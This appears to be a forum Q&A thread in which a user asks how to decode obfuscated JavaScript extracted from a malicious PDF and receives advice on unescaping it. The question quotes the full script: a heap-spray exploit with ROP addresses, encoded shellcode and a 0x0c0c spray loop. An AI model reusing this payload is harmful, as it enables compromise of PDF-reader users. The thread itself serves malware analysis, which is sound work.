javascriptpdfmalware

Extract JavaScript from malicious PDF

I have a PDF file that I know for a fact contains a JavaScript script file that does something malicious, not really sure what at this point.

I have successfully uncompressed the PDF file and gotten the plaintext JavaScript source code, but it the code itself if kind of hidden in this syntax I haven't seen before.

Code example: This is what the majority of the code looks like

var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')

I imagine that this notation with long variable/function names and hidden text characters is to confuse scanners that look for these type of things.

Two questions:

Question 1

Can someone tell me what this is called with the %u4141?

Question 2

Is there some tool that will translate that notation into plaintext so I can see what it is doing?

Full JS code:

var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');

var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");

while (C.length + 20 + 8 < 65536) C+=C;

D = C.substring(0, (0x0c0c-0x24)/2);

D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";​
Solution

  • Those could be memory addresses, OS calls, heap spraying, anything.

    The clue is that the function that is called is unescape. To get the actual values you want to unescape that text. There are online tools for unescaping text, such as http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html.

    The result will likely be garbage in ASCII, but you can try plugging it into a hex editor to see if you can make any more sense out of it. if a virus scanner can identify the infection source of that file, maybe you can do more research on that particular malware and figure out what that code is doing.

    In the interest of science, fire up a Windows VM, run it, and see what it does :)